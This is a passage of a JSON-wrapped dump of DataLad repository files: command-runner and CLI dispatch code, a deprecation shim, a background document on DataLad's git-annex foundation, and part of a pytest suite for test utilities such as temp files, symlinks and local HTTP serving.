(protocol_class=%s) (cwd=%s)',\\n cmd,\\n protocol.__name__,\\n applied_cwd\\n )\\n\\n threaded_runner = ThreadedRunner(\\n cmd=cmd,\\n protocol_class=protocol,\\n stdin=stdin,\\n protocol_kwargs=kwargs,\\n timeout=timeout,\\n exception_on_error=exception_on_error,\\n cwd=applied_cwd,\\n env=applied_env\\n )\\n\\n results_or_iterator = threaded_runner.run()\\n if issubclass(protocol, GeneratorMixIn):\\n return results_or_iterator\\n\\n results = cast(dict, results_or_iterator)\\n # log before any exception is raised\\n lgr.debug(\\\"Finished %r with status %s\\\", cmd, results['code'])\\n\\n # make it such that we always blow if a protocol did not report\\n # a return code at all or it was non-0 and we were not asked ignore\\n # errors\\n return_code = results.get('code', None)\\n if return_code is None or (return_code and exception_on_error):\\n # the runner has a better idea, doc string warns Protocol\\n # implementations not to return these\\n results.pop('cmd', None)\\n results.pop('cwd', None)\\n raise CommandError(\\n # whatever the results were, we carry them forward\\n cmd=cmd,\\n cwd=applied_cwd,\\n **results,\\n )\\n # Denoise result, the return code must be zero at this point.\\n results.pop('code', None)\\n return results\\n\"\n },\n {\n \"alpha_fraction\": 0.6134969592094421,\n \"alphanum_fraction\": 0.6134969592094421,\n \"avg_line_length\": 29.5625,\n \"blob_id\": \"8d69b675c562fb92d1af4016749617d1043bbe12\",\n \"content_id\": \"360dfcfeaa1a6f2c44296cf1a185ce9203c233f8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 978,\n \"license_type\": \"permissive\",\n \"max_line_length\": 74,\n \"num_lines\": 32,\n \"path\": \"/datalad/cli/utils.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"Central place to provide all utilities\\\"\\\"\\\"\\n\\nimport sys\\n\\nfrom datalad.log import is_interactive\\n\\n\\n_sys_excepthook = sys.excepthook # Just in case we ever need original one\\n\\n\\ndef setup_exceptionhook(ipython=False):\\n \\\"\\\"\\\"Overloads default sys.excepthook with our exceptionhook handler.\\n\\n If interactive, our exceptionhook handler will invoke\\n pdb.post_mortem; if not interactive, then invokes default handler.\\n \\\"\\\"\\\"\\n\\n def _datalad_pdb_excepthook(type, value, tb):\\n import traceback\\n traceback.print_exception(type, value, tb)\\n print()\\n if is_interactive():\\n import pdb\\n pdb.post_mortem(tb)\\n\\n if ipython:\\n from IPython.core import ultratb\\n sys.excepthook = ultratb.FormattedTB(mode='Verbose',\\n # color_scheme='Linux',\\n call_pdb=is_interactive())\\n else:\\n sys.excepthook = _datalad_pdb_excepthook\\n\"\n },\n {\n \"alpha_fraction\": 0.642636239528656,\n \"alphanum_fraction\": 0.642636239528656,\n \"avg_line_length\": 38.79999923706055,\n \"blob_id\": \"dae9fa01bc1953942802fc83543b5f95ef1840a4\",\n \"content_id\": \"c966d3df69d967b0f48598f37253e42cce5a7374\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5174,\n \"license_type\": \"permissive\",\n \"max_line_length\": 78,\n \"num_lines\": 130,\n \"path\": \"/datalad/cli/exec.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"Call a command interface\\n\\nProvide a callable to register in a cmdline parser, for executing\\na parameterized command call.\\n\\\"\\\"\\\"\\n\\n# ATTN!\\n# Top-level inputs should be minimized. This module must be imported\\n# for parser construction, but the key function call_from_parser()\\n# is only executed when a command is actually engaged -- but not\\n# for a help action.\\n# Therefore no additional top-level imports beyond those already\\n# caused unconditionally by .main, and .parser.\\n\\nfrom datalad import cfg\\n\\nfrom datalad.interface.base import (\\n is_api_arg,\\n)\\nfrom datalad.utils import (\\n getargspec,\\n)\\n\\n# only imported during command execution\\n# .interface._has_eval_results_call\\n# from .utils import EnsureKeyChoice\\n\\n# special-case imports\\n# .renderer.DefaultOutputRenderer\\n# from datalad.ui import ui\\n# from .exceptions import CapturedException\\n\\n\\ndef call_from_parser(cls, args):\\n \\\"\\\"\\\"Executable to be registered with the parser for a particular command\\n\\n Parameters\\n ----------\\n cls : Interface\\n Class implementing a particular interface.\\n args : Namespace\\n Populated argparse namespace instance.\\n\\n Returns\\n -------\\n iterable\\n Returns the iterable return by an command's implementation of\\n ``__call__()``. It is unwound, in case of a generator being\\n returned to actually trigger the underlying processing.\\n \\\"\\\"\\\"\\n # XXX needs safety check for name collisions\\n import inspect\\n from datalad.interface.base import _has_eval_results_call\\n\\n argspec = getargspec(cls.__call__, include_kwonlyargs=True)\\n if argspec.keywords is None:\\n # no **kwargs in the call receiver, pull argnames from signature\\n argnames = argspec.args\\n else:\\n # common options\\n # XXX define or better get from elsewhere\\n # ultimately .common_args.common_args could be used, but\\n # it is presently unclear what is being excluded here (incomplete set)\\n common_opts = ('change_path', 'common_debug', 'common_idebug', 'func',\\n 'help', 'log_level', 'logger',\\n 'result_renderer', 'subparser')\\n argnames = [name for name in dir(args)\\n if not (name.startswith('_') or name in common_opts)]\\n kwargs = {k: getattr(args, k)\\n for k in argnames\\n # some arguments might be Python-only and do not appear in the\\n # parser Namespace\\n if hasattr(args, k) and is_api_arg(k)}\\n # we are coming from the entry point, this is the toplevel command,\\n # let it run like generator so we can act on partial results quicker\\n # TODO remove following condition test when transition is complete and\\n # run indented code unconditionally\\n if _has_eval_results_call(cls):\\n # set all common args explicitly to override class defaults\\n # that are tailored towards the the Python API\\n kwargs['return_type'] = 'generator'\\n kwargs['result_xfm'] = None\\n if '{' in args.common_result_renderer:\\n from .renderer import DefaultOutputRenderer\\n # stupid hack, could and should become more powerful\\n kwargs['result_renderer'] = DefaultOutputRenderer(\\n args.common_result_renderer)\\n else:\\n # allow commands to override the default, unless something other\\n # than the default 'tailored' is requested\\n kwargs['result_renderer'] = \\\\\\n args.common_result_renderer \\\\\\n if args.common_result_renderer != 'tailored' \\\\\\n else getattr(cls, 'result_renderer', 'generic')\\n if args.common_on_failure:\\n kwargs['on_failure'] = args.common_on_failure\\n # compose filter function from to be invented cmdline options\\n res_filter = _get_result_filter(args)\\n if res_filter is not None:\\n # Don't add result_filter if it's None because then\\n # eval_results can't distinguish between --report-{status,type}\\n # not specified via the CLI and None passed via the Python API.\\n kwargs['result_filter'] = res_filter\\n\\n ret = cls.__call__(**kwargs)\\n if inspect.isgenerator(ret):\\n ret = list(ret)\\n return ret\\n\\n\\ndef _get_result_filter(args):\\n from datalad.support.constraints import EnsureKeyChoice\\n\\n result_filter = None\\n if args.common_report_status or 'datalad.runtime.report-status' in cfg:\\n report_status = args.common_report_status or \\\\\\n cfg.obtain('datalad.runtime.report-status')\\n if report_status == \\\"all\\\":\\n pass # no filter\\n elif report_status == 'success':\\n result_filter = EnsureKeyChoice('status', ('ok', 'notneeded'))\\n elif report_status == 'failure':\\n result_filter = EnsureKeyChoice('status',\\n ('impossible', 'error'))\\n else:\\n result_filter = EnsureKeyChoice('status', (report_status,))\\n if args.common_report_type:\\n tfilt = EnsureKeyChoice('type', tuple(args.common_report_type))\\n result_filter = result_filter & tfilt if result_filter else tfilt\\n return result_filter\\n\"\n },\n {\n \"alpha_fraction\": 0.5024077296257019,\n \"alphanum_fraction\": 0.5152487754821777,\n \"avg_line_length\": 35.64706039428711,\n \"blob_id\": \"afddabac39eee808fc5a0a1a175c4d780562733b\",\n \"content_id\": \"2e49b836bc0faa8e10cb9d50343b8ac39af8cb0f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 623,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 17,\n \"path\": \"/datalad/cmdline/__init__.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"\\n\\\"\\\"\\\"\\n\\nimport warnings\\nwarnings.warn(\\n \\\"All of datalad.cmdline is deprecated/discontinued as of datalad 0.16. \\\"\\n \\\"A new CLI implementation is available at datalad.cli. \\\"\\n \\\"Please adjust any imports.\\\",\\n DeprecationWarning)\\n\"\n },\n {\n \"alpha_fraction\": 0.8062942028045654,\n \"alphanum_fraction\": 0.8071356415748596,\n \"avg_line_length\": 55.590476989746094,\n \"blob_id\": \"935c258b422d2fd4cff89917d9d03c3c51f59731\",\n \"content_id\": \"b03b772d104ced3659dbba468486be53ea59319a\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 5942,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 105,\n \"path\": \"/docs/source/background.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Background and motivation\\n*************************\\n\\nVision\\n======\\n\\nData is at the core of science, and unobstructed access promotes scientific\\ndiscovery through collaboration between data producers and consumers. The last\\nyears have seen dramatic improvements in availability of data resources for\\ncollaborative research, and new data providers are becoming available all the\\ntime.\\n\\nHowever, despite the increased availability of data, their accessibility is far\\nfrom being optimal. Potential consumers of these public datasets have to\\nmanually browse various disconnected warehouses with heterogeneous interfaces.\\nOnce obtained, data is disconnected from its origin and data versioning is\\noften ad-hoc or completely absent. If data consumers can be reliably informed\\nabout data updates at all, review of changes is difficult, and re-deployment is\\ntedious and error-prone. This leads to wasteful friction caused by outdated or\\nfaulty data.\\n\\nThe vision for this project is to transform the state of data-sharing and\\ncollaborative work by providing uniform access to available datasets --\\nindependent of hosting solutions or authentication schemes -- with reliable\\nversioning and versatile deployment logistics. This is achieved by means of a\\n:term:`dataset` handle, a lightweight representation of a dataset\\nthat is capable of tracking the identity and location of a dataset's content as\\nwell as carry meta-data. Together with associated software tools, scientists\\nare able to obtain, use, extend, and share datasets (or parts thereof) in a\\nway that is traceable back to the original data producer and is therefore\\ncapable of establishing a strong connection between data consumers and the\\nevolution of a dataset by future extension or error correction.\\n\\nMoreover, DataLad aims to provide all tools necessary to create and publish\\n*data distributions* |---| an analog to software distributions or app-stores\\nthat provide logistics middleware for software deployment. Scientific\\ncommunities can use these tools to gather, curate, and make publicly available\\nspecialized collections of datasets for specific research topics or data\\nmodalities. All of this is possible by leveraging existing data sharing\\nplatforms and institutional resources without the need for funding extra\\ninfrastructure of duplicate storage. Specifically, this project aims to provide\\na comprehensive, extensible data distribution for neuroscientific datasets that\\nis kept up-to-date by an automated service.\\n\\n\\nTechnological foundation: git-annex\\n===================================\\n\\nThe outlined task is not unique to the problem of data-sharing in science.\\nLogistical challenges such as delivering data, long-term storage and archiving,\\nidentity tracking, and synchronization between multiple sites are rather\\ncommon. Consequently, solutions have been developed in other contexts that can\\nbe adapted to benefit scientific data-sharing.\\n\\nThe closest match is the software tool git-annex_. It combines the features of\\nthe distributed version control system (dVCS) Git_ |---| a technology that has\\nrevolutionized collaborative software development -- with versatile data access\\nand delivery logistics. Git-annex was originally developed to address use cases\\nsuch as managing a collection of family pictures at home. With git-annex, any\\nfamily member can obtain an individual copy of such a picture library |---| the\\n:term:`annex`. The annex in this example is essentially an image repository\\nthat presents individual pictures to users as files in a single directory\\nstructure, even though the actual image file contents may be distributed across\\nmultiple locations, including a home-server, cloud-storage, or even off-line\\nmedia such as external hard-drives.\\n\\nGit-annex provides functionality to obtain file contents upon request and can\\nprompt users to make particular storage devices available when needed (e.g. a\\nbackup hard-drive kept in a fire-proof compartment). Git-annex can also remove\\nfiles from a local copy of that image repository, for example to free up space\\non a laptop, while ensuring a configurable level of data redundancy across all\\nknown storage locations. Lastly, git-annex is able to synchronize the content\\nof multiple distributed copies of this image repository, for example in order\\nto incorporate images added with the git-annex on the laptop of another family\\nmember. It is important to note that git-annex is agnostic of the actual file\\ntypes and is not limited to images.\\n\\nWe believe that the approach to data logistics taken by git-annex and the\\nfunctionality it is currently providing are an ideal middleware for scientific\\ndata-sharing. Its data repository model :term:`annex` readily provides the\\nmajority of principal features needed for a dataset handle such as history\\nrecording, identity tracking, and item-based resource locators. Consequently,\\ninstead of a from-scratch development, required features, such as dedicated\\nsupport for existing data-sharing portals and dataset meta-information, can be\\nadded to a working solution that is already in production for several years.\\nAs a result, DataLad focuses on the expansion of git-annex's functionality and\\nthe development of tools that build atop Git and git-annex and enable the\\ncreation, management, use, and publication of dataset handles and collections\\nthereof.\\n\\nObjective\\n=========\\n\\nBuilding atop git-annex, DataLad aims to provide a single, uniform interface to\\naccess data from various data-sharing initiatives and data providers, and\\nfunctionality to create, deliver, update, and share datasets for individuals\\nand portal maintainers. As a command-line tool, it provides an abstraction\\nlayer for the underlying Git-based middleware implementing the actual data\\nlogistics, and serves as a foundation for other future user front-ends, such\\nas a web-interface.\\n\\n.. |---| unicode:: U+02014 .. em dash\\n\\n.. _Git: https://git-scm.com\\n.. _git-annex: http://git-annex.branchable.com\\n\"\n },\n {\n \"alpha_fraction\": 0.6187578439712524,\n \"alphanum_fraction\": 0.6278162598609924,\n \"avg_line_length\": 30.154848098754883,\n \"blob_id\": \"ddab966dc6868b185a0a9af00f1c30c8dd0b6b15\",\n \"content_id\": \"af234f7b8f2e8b03dbbf41cd42dc2bff4ddcc8ca\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 21534,\n \"license_type\": \"permissive\",\n \"max_line_length\": 102,\n \"num_lines\": 691,\n \"path\": \"/datalad/tests/test_tests_utils_pytest.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil; coding: utf-8 -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nimport base64\\nimport logging\\nimport os\\nimport platform\\nimport random\\nimport sys\\n\\ntry:\\n # optional direct dependency we might want to kick out\\n import bs4\\nexcept ImportError: # pragma: no cover\\n bs4 = None\\n\\nfrom glob import glob\\nfrom os.path import (\\n basename,\\n exists,\\n)\\nfrom os.path import join as opj\\nfrom unittest.mock import patch\\nfrom urllib.parse import quote as url_quote\\nfrom urllib.request import (\\n Request,\\n urlopen,\\n)\\n\\nimport pytest\\nfrom _pytest.outcomes import (\\n Failed,\\n Skipped,\\n)\\n\\nfrom datalad import cfg as dl_cfg\\nfrom datalad.support import path as op\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.tests.utils_pytest import (\\n OBSCURE_FILENAMES,\\n OBSCURE_PREFIX,\\n assert_cwd_unchanged,\\n assert_dict_equal,\\n assert_false,\\n assert_in,\\n assert_not_in,\\n assert_raises,\\n assert_re_in,\\n assert_str_equal,\\n assert_true,\\n eq_,\\n get_most_obscure_supported_name,\\n ignore_nose_capturing_stdout,\\n known_failure_githubci_win,\\n known_failure_windows,\\n local_testrepo_flavors,\\n nok_startswith,\\n ok_,\\n ok_broken_symlink,\\n ok_file_has_content,\\n ok_file_under_git,\\n ok_generator,\\n ok_good_symlink,\\n ok_startswith,\\n ok_symlink,\\n on_windows,\\n patch_config,\\n probe_known_failure,\\n rmtemp,\\n run_under_dir,\\n serve_path_via_http,\\n skip_if,\\n skip_if_no_module,\\n skip_if_no_network,\\n skip_if_on_windows,\\n skip_ssh,\\n skip_wo_symlink_capability,\\n swallow_logs,\\n with_tempfile,\\n with_testsui,\\n with_tree,\\n without_http_proxy,\\n)\\nfrom datalad.utils import (\\n Path,\\n chpwd,\\n getpwd,\\n)\\n\\n#\\n# Test with_tempfile, especially nested invocations\\n#\\n\\n@with_tempfile\\ndef _with_tempfile_decorated_dummy(path):\\n return path\\n\\n\\ndef test_with_tempfile_dir_via_env_variable():\\n target = os.path.join(os.path.expanduser(\\\"~\\\"), \\\"dataladtesttmpdir\\\")\\n assert_false(os.path.exists(target), \\\"directory %s already exists.\\\" % target)\\n\\n with patch_config({'datalad.tests.temp.dir': target}):\\n filename = _with_tempfile_decorated_dummy()\\n ok_startswith(filename, target)\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_nested_with_tempfile_basic(f1=None, f2=None):\\n ok_(f1 != f2)\\n ok_(not os.path.exists(f1))\\n ok_(not os.path.exists(f2))\\n\\n\\n# And the most obscure case to test. Generator for the test is\\n# used as well to verify that every one of those functions adds new argument\\n# to the end of incoming arguments.\\n@with_tempfile(prefix=\\\"TEST\\\", suffix='big')\\n@with_tree((('f1.txt', 'load'),))\\n@with_tempfile(suffix='.cfg')\\n@with_tempfile(suffix='.cfg.old')\\ndef check_nested_with_tempfile_parametrized_surrounded(\\n param, f0=None, tree=None, f1=None, f2=None, repo=None):\\n eq_(param, \\\"param1\\\")\\n ok_(f0.endswith('big'), msg=\\\"got %s\\\" % f0)\\n ok_(os.path.basename(f0).startswith('TEST'), msg=\\\"got %s\\\" % f0)\\n ok_(os.path.exists(os.path.join(tree, 'f1.txt')))\\n ok_(f1 != f2)\\n ok_(f1.endswith('.cfg'), msg=\\\"got %s\\\" % f1)\\n ok_(f2.endswith('.cfg.old'), msg=\\\"got %s\\\" % f2)\\n\\n\\n\\ndef test_nested_with_tempfile_parametrized_surrounded():\\n check_nested_with_tempfile_parametrized_surrounded(\\\"param1\\\")\\n\\n\\n@with_tempfile(content=\\\"testtest\\\")\\ndef test_with_tempfile_content(f=None):\\n ok_file_has_content(f, \\\"testtest\\\")\\n ok_file_has_content(f, \\\"test*\\\", re_=True)\\n\\n\\ndef test_with_tempfile_content_raises_on_mkdir():\\n\\n @with_tempfile(content=\\\"test\\\", mkdir=True)\\n def t(): # pragma: no cover\\n raise AssertionError(\\\"must not be run\\\")\\n\\n with assert_raises(ValueError):\\n # after this commit, it will check when invoking, not when decorating\\n t()\\n\\n\\ndef test_get_resolved_values():\\n from datalad.tests.utils_pytest import _get_resolved_flavors\\n flavors = ['networkish', 'local']\\n eq_(([] if dl_cfg.get('datalad.tests.nonetwork') else ['networkish'])\\n + ['local'],\\n _get_resolved_flavors(flavors))\\n\\n with patch_config({'datalad.tests.nonetwork': '1'}):\\n eq_(_get_resolved_flavors(flavors), ['local'])\\n\\ndef test_with_tempfile_mkdir():\\n dnames = [] # just to store the name within the decorated function\\n\\n @with_tempfile(mkdir=True)\\n def check_mkdir(d1):\\n ok_(os.path.exists(d1))\\n ok_(os.path.isdir(d1))\\n dnames.append(d1)\\n eq_(glob(os.path.join(d1, '*')), [])\\n # Create a file to assure we can remove later the temporary load\\n with open(os.path.join(d1, \\\"test.dat\\\"), \\\"w\\\") as f:\\n f.write(\\\"TEST LOAD\\\")\\n\\n check_mkdir()\\n if not dl_cfg.get('datalad.tests.temp.keep'):\\n ok_(not os.path.exists(dnames[0])) # got removed\\n\\n\\n@with_tempfile()\\ndef test_with_tempfile_default_prefix(d1=None):\\n d = basename(d1)\\n short = 'datalad_temp_'\\n full = short + \\\\\\n 'test_with_tempfile_default_prefix'\\n if on_windows:\\n ok_startswith(d, short)\\n nok_startswith(d, full)\\n else:\\n ok_startswith(d, full)\\n\\n\\n@with_tempfile(prefix=\\\"nodatalad_\\\")\\ndef test_with_tempfile_specified_prefix(d1=None):\\n ok_startswith(basename(d1), 'nodatalad_')\\n ok_('test_with_tempfile_specified_prefix' not in d1)\\n\\n\\ndef test_get_most_obscure_supported_name():\\n n = get_most_obscure_supported_name()\\n ok_startswith(n, OBSCURE_PREFIX)\\n ok_(len(OBSCURE_FILENAMES) > 1)\\n # from more complex to simpler ones\\n ok_(len(OBSCURE_FILENAMES[0]) > len(OBSCURE_FILENAMES[-1]))\\n print(repr(n))\\n\\n\\ndef test_keeptemp_via_env_variable():\\n\\n if dl_cfg.get('datalad.tests.temp.keep'): # pragma: no cover\\n pytest.skip(\\\"We have env variable set to preserve tempfiles\\\")\\n\\n files = []\\n\\n @with_tempfile()\\n def check(f):\\n open(f, 'w').write(\\\"LOAD\\\")\\n files.append(f)\\n\\n with patch.dict('os.environ', {}):\\n check()\\n\\n with patch.dict('os.environ', {'DATALAD_TESTS_TEMP_KEEP': '1'}):\\n check()\\n\\n eq_(len(files), 2)\\n ok_(not exists(files[0]), msg=\\\"File %s still exists\\\" % files[0])\\n ok_( exists(files[1]), msg=\\\"File %s not exists\\\" % files[1])\\n\\n rmtemp(files[-1])\\n\\n\\n@skip_wo_symlink_capability\\n@with_tempfile\\ndef test_ok_symlink_helpers(tmpfile=None):\\n\\n assert_raises(AssertionError, ok_symlink, tmpfile)\\n assert_raises(AssertionError, ok_good_symlink, tmpfile)\\n assert_raises(AssertionError, ok_broken_symlink, tmpfile)\\n\\n tmpfile_symlink = tmpfile + '_symlink'\\n Path(tmpfile_symlink).symlink_to(Path(tmpfile))\\n\\n # broken symlink\\n ok_symlink(tmpfile_symlink)\\n ok_broken_symlink(tmpfile_symlink)\\n assert_raises(AssertionError, ok_good_symlink, tmpfile_symlink)\\n\\n with open(tmpfile, 'w') as tf:\\n tf.write('test text')\\n \\n # tmpfile is still not a symlink here\\n assert_raises(AssertionError, ok_symlink, tmpfile)\\n assert_raises(AssertionError, ok_good_symlink, tmpfile)\\n assert_raises(AssertionError, ok_broken_symlink, tmpfile)\\n\\n ok_symlink(tmpfile_symlink)\\n ok_good_symlink(tmpfile_symlink)\\n assert_raises(AssertionError, ok_broken_symlink, tmpfile_symlink)\\n\\n\\ndef test_ok_startswith():\\n ok_startswith('abc', 'abc')\\n ok_startswith('abc', 'a')\\n ok_startswith('abc', '')\\n ok_startswith(' abc', ' ')\\n ok_startswith('abc\\\\r\\\\n', 'a') # no effect from \\\\r\\\\n etc\\n assert_raises(AssertionError, ok_startswith, 'abc', 'b')\\n assert_raises(AssertionError, ok_startswith, 'abc', 'abcd')\\n\\n\\ndef test_nok_startswith():\\n nok_startswith('abc', 'bc')\\n nok_startswith('abc', 'c')\\n assert_raises(AssertionError, nok_startswith, 'abc', 'a')\\n assert_raises(AssertionError, nok_startswith, 'abc', 'abc')\\n\\ndef test_ok_generator():\\n def func(a, b=1):\\n return a+b\\n def gen(a, b=1): # pragma: no cover\\n yield a+b\\n # not sure how to determine if xrange is a generator\\n assert_raises(AssertionError, ok_generator, range(2))\\n assert_raises(AssertionError, ok_generator, gen)\\n ok_generator(gen(1))\\n assert_raises(AssertionError, ok_generator, func)\\n assert_raises(AssertionError, ok_generator, func(1))\\n\\n\\n@pytest.mark.parametrize(\\\"func\\\", [os.chdir, chpwd])\\ndef test_assert_Xwd_unchanged(func):\\n orig_cwd = os.getcwd()\\n orig_pwd = getpwd()\\n\\n @assert_cwd_unchanged\\n def do_chdir():\\n func(os.pardir)\\n\\n with assert_raises(AssertionError) as cm:\\n do_chdir()\\n\\n eq_(orig_cwd, os.getcwd(),\\n \\\"assert_cwd_unchanged didn't return us back to cwd %s\\\" % orig_cwd)\\n eq_(orig_pwd, getpwd(),\\n \\\"assert_cwd_unchanged didn't return us back to pwd %s\\\" % orig_pwd)\\n\\n@pytest.mark.parametrize(\\\"func\\\", [os.chdir, chpwd])\\ndef test_assert_Xwd_unchanged_ok_chdir(func):\\n # Test that we are not masking out other \\\"more important\\\" exceptions\\n\\n orig_cwd = os.getcwd()\\n orig_pwd = getpwd()\\n\\n @assert_cwd_unchanged(ok_to_chdir=True)\\n def do_chdir_value_error():\\n func(os.pardir)\\n return \\\"a value\\\"\\n\\n with swallow_logs() as cml:\\n eq_(do_chdir_value_error(), \\\"a value\\\")\\n eq_(orig_cwd, os.getcwd(),\\n \\\"assert_cwd_unchanged didn't return us back to cwd %s\\\" % orig_cwd)\\n eq_(orig_pwd, getpwd(),\\n \\\"assert_cwd_unchanged didn't return us back to cwd %s\\\" % orig_pwd)\\n assert_not_in(\\\"Mitigating and changing back\\\", cml.out)\\n\\n\\ndef test_assert_cwd_unchanged_not_masking_exceptions():\\n # Test that we are not masking out other \\\"more important\\\" exceptions\\n\\n orig_cwd = os.getcwd()\\n\\n @assert_cwd_unchanged\\n def do_chdir_value_error():\\n os.chdir(os.pardir)\\n raise ValueError(\\\"error exception\\\")\\n\\n with swallow_logs(new_level=logging.WARN) as cml:\\n with assert_raises(ValueError) as cm:\\n do_chdir_value_error()\\n # retrospect exception\\n eq_(orig_cwd, os.getcwd(),\\n \\\"assert_cwd_unchanged didn't return us back to %s\\\" % orig_cwd)\\n assert_in(\\\"Mitigating and changing back\\\", cml.out)\\n\\n # and again but allowing to chdir\\n @assert_cwd_unchanged(ok_to_chdir=True)\\n def do_chdir_value_error():\\n os.chdir(os.pardir)\\n raise ValueError(\\\"error exception\\\")\\n\\n with swallow_logs(new_level=logging.WARN) as cml:\\n assert_raises(ValueError, do_chdir_value_error)\\n eq_(orig_cwd, os.getcwd(),\\n \\\"assert_cwd_unchanged didn't return us back to %s\\\" % orig_cwd)\\n assert_not_in(\\\"Mitigating and changing back\\\", cml.out)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef _test_serve_path_via_http(test_fpath, use_ssl, auth, tmp_dir): # pragma: no cover\\n tmp_dir = Path(tmp_dir)\\n test_fpath = Path(test_fpath)\\n # First verify that filesystem layer can encode this filename\\n # verify first that we could encode file name in this environment\\n try:\\n filesysencoding = sys.getfilesystemencoding()\\n test_fpath_encoded = str(test_fpath.as_posix()).encode(filesysencoding)\\n except UnicodeEncodeError: # pragma: no cover\\n pytest.skip(\\\"Environment doesn't support unicode filenames\\\")\\n if test_fpath_encoded.decode(filesysencoding) != test_fpath.as_posix(): # pragma: no cover\\n pytest.skip(\\\"Can't convert back/forth using %s encoding\\\"\\n % filesysencoding)\\n\\n test_fpath_full = tmp_dir / test_fpath\\n test_fpath_full.parent.mkdir(parents=True, exist_ok=True)\\n test_fpath_full.write_text(\\n f'some txt and a randint {random.randint(1, 10)}')\\n\\n @serve_path_via_http(tmp_dir, use_ssl=use_ssl, auth=auth)\\n def test_path_and_url(path, url):\\n def _urlopen(url, auth=None):\\n req = Request(url)\\n if auth:\\n req.add_header(\\n \\\"Authorization\\\",\\n b\\\"Basic \\\" + base64.standard_b64encode(\\n '{0}:{1}'.format(*auth).encode('utf-8')))\\n return urlopen(req)\\n\\n # @serve_ should remove http_proxy from the os.environ if was present\\n if not on_windows:\\n assert_false('http_proxy' in os.environ)\\n # get the \\\"dir-view\\\"\\n dirurl = url + test_fpath.parent.as_posix()\\n u = _urlopen(dirurl, auth)\\n assert_true(u.getcode() == 200)\\n html = u.read()\\n # get the actual content\\n file_html = _urlopen(\\n url + url_quote(test_fpath.as_posix()), auth).read().decode()\\n # verify we got the right one\\n eq_(file_html, test_fpath_full.read_text())\\n\\n if bs4 is None:\\n return\\n\\n # MIH is not sure what this part below is supposed to do\\n # possibly some kind of internal consistency test\\n soup = bs4.BeautifulSoup(html, \\\"html.parser\\\")\\n href_links = [txt.get('href') for txt in soup.find_all('a')]\\n assert_true(len(href_links) == 1)\\n parsed_url = f\\\"{dirurl}/{href_links[0]}\\\"\\n u = _urlopen(parsed_url, auth)\\n html = u.read().decode()\\n eq_(html, file_html)\\n\\n test_path_and_url()\\n\\n\\n@pytest.mark.parametrize(\\\"test_fpath\\\", [\\n 'test1.txt',\\n Path('test_dir', 'test2.txt'),\\n Path('test_dir', 'd2', 'd3', 'test3.txt'),\\n 'file with space test4',\\n u'Джэйсон',\\n get_most_obscure_supported_name(),\\n])\\n@pytest.mark.parametrize(\\\"use_ssl,auth\\\", [\\n (False, None),\\n (True, None),\\n (False, ('ernie', 'bert')),\\n])\\ndef test_serve_path_via_http(test_fpath, use_ssl, auth):\\n _test_serve_path_via_http(test_fpath, use_ssl, auth)\\n\\n\\ndef test_serve_path_via_http_local_proxy():\\n # just with the last one check that we did remove proxy setting\\n with patch.dict('os.environ', {'http_proxy': 'http://127.0.0.1:9/'}):\\n _test_serve_path_via_http(get_most_obscure_supported_name(), False, None)\\n\\n\\n@known_failure_githubci_win\\ndef test_without_http_proxy():\\n\\n @without_http_proxy\\n def check(a, kw=False):\\n assert_false('http_proxy' in os.environ)\\n assert_false('https_proxy' in os.environ)\\n assert_in(kw, [False, 'custom'])\\n\\n check(1)\\n\\n with patch.dict('os.environ', {'http_proxy': 'http://127.0.0.1:9/'}):\\n check(1)\\n check(1, \\\"custom\\\")\\n with assert_raises(AssertionError):\\n check(1, \\\"wrong\\\")\\n\\n with patch.dict('os.environ', {'https_proxy': 'http://127.0.0.1:9/'}):\\n check(1)\\n with patch.dict('os.environ', {'http_proxy': 'http://127.0.0.1:9/',\\n 'https_proxy': 'http://127.0.0.1:9/'}):\\n check(1)\\n\\n\\ndef test_assert_re_in():\\n assert_re_in(\\\".*\\\", \\\"\\\")\\n assert_re_in(\\\".*\\\", [\\\"any\\\"])\\n\\n # should do match not search\\n assert_re_in(\\\"ab\\\", \\\"abc\\\")\\n assert_raises(AssertionError, assert_re_in, \\\"ab\\\", \\\"cab\\\")\\n 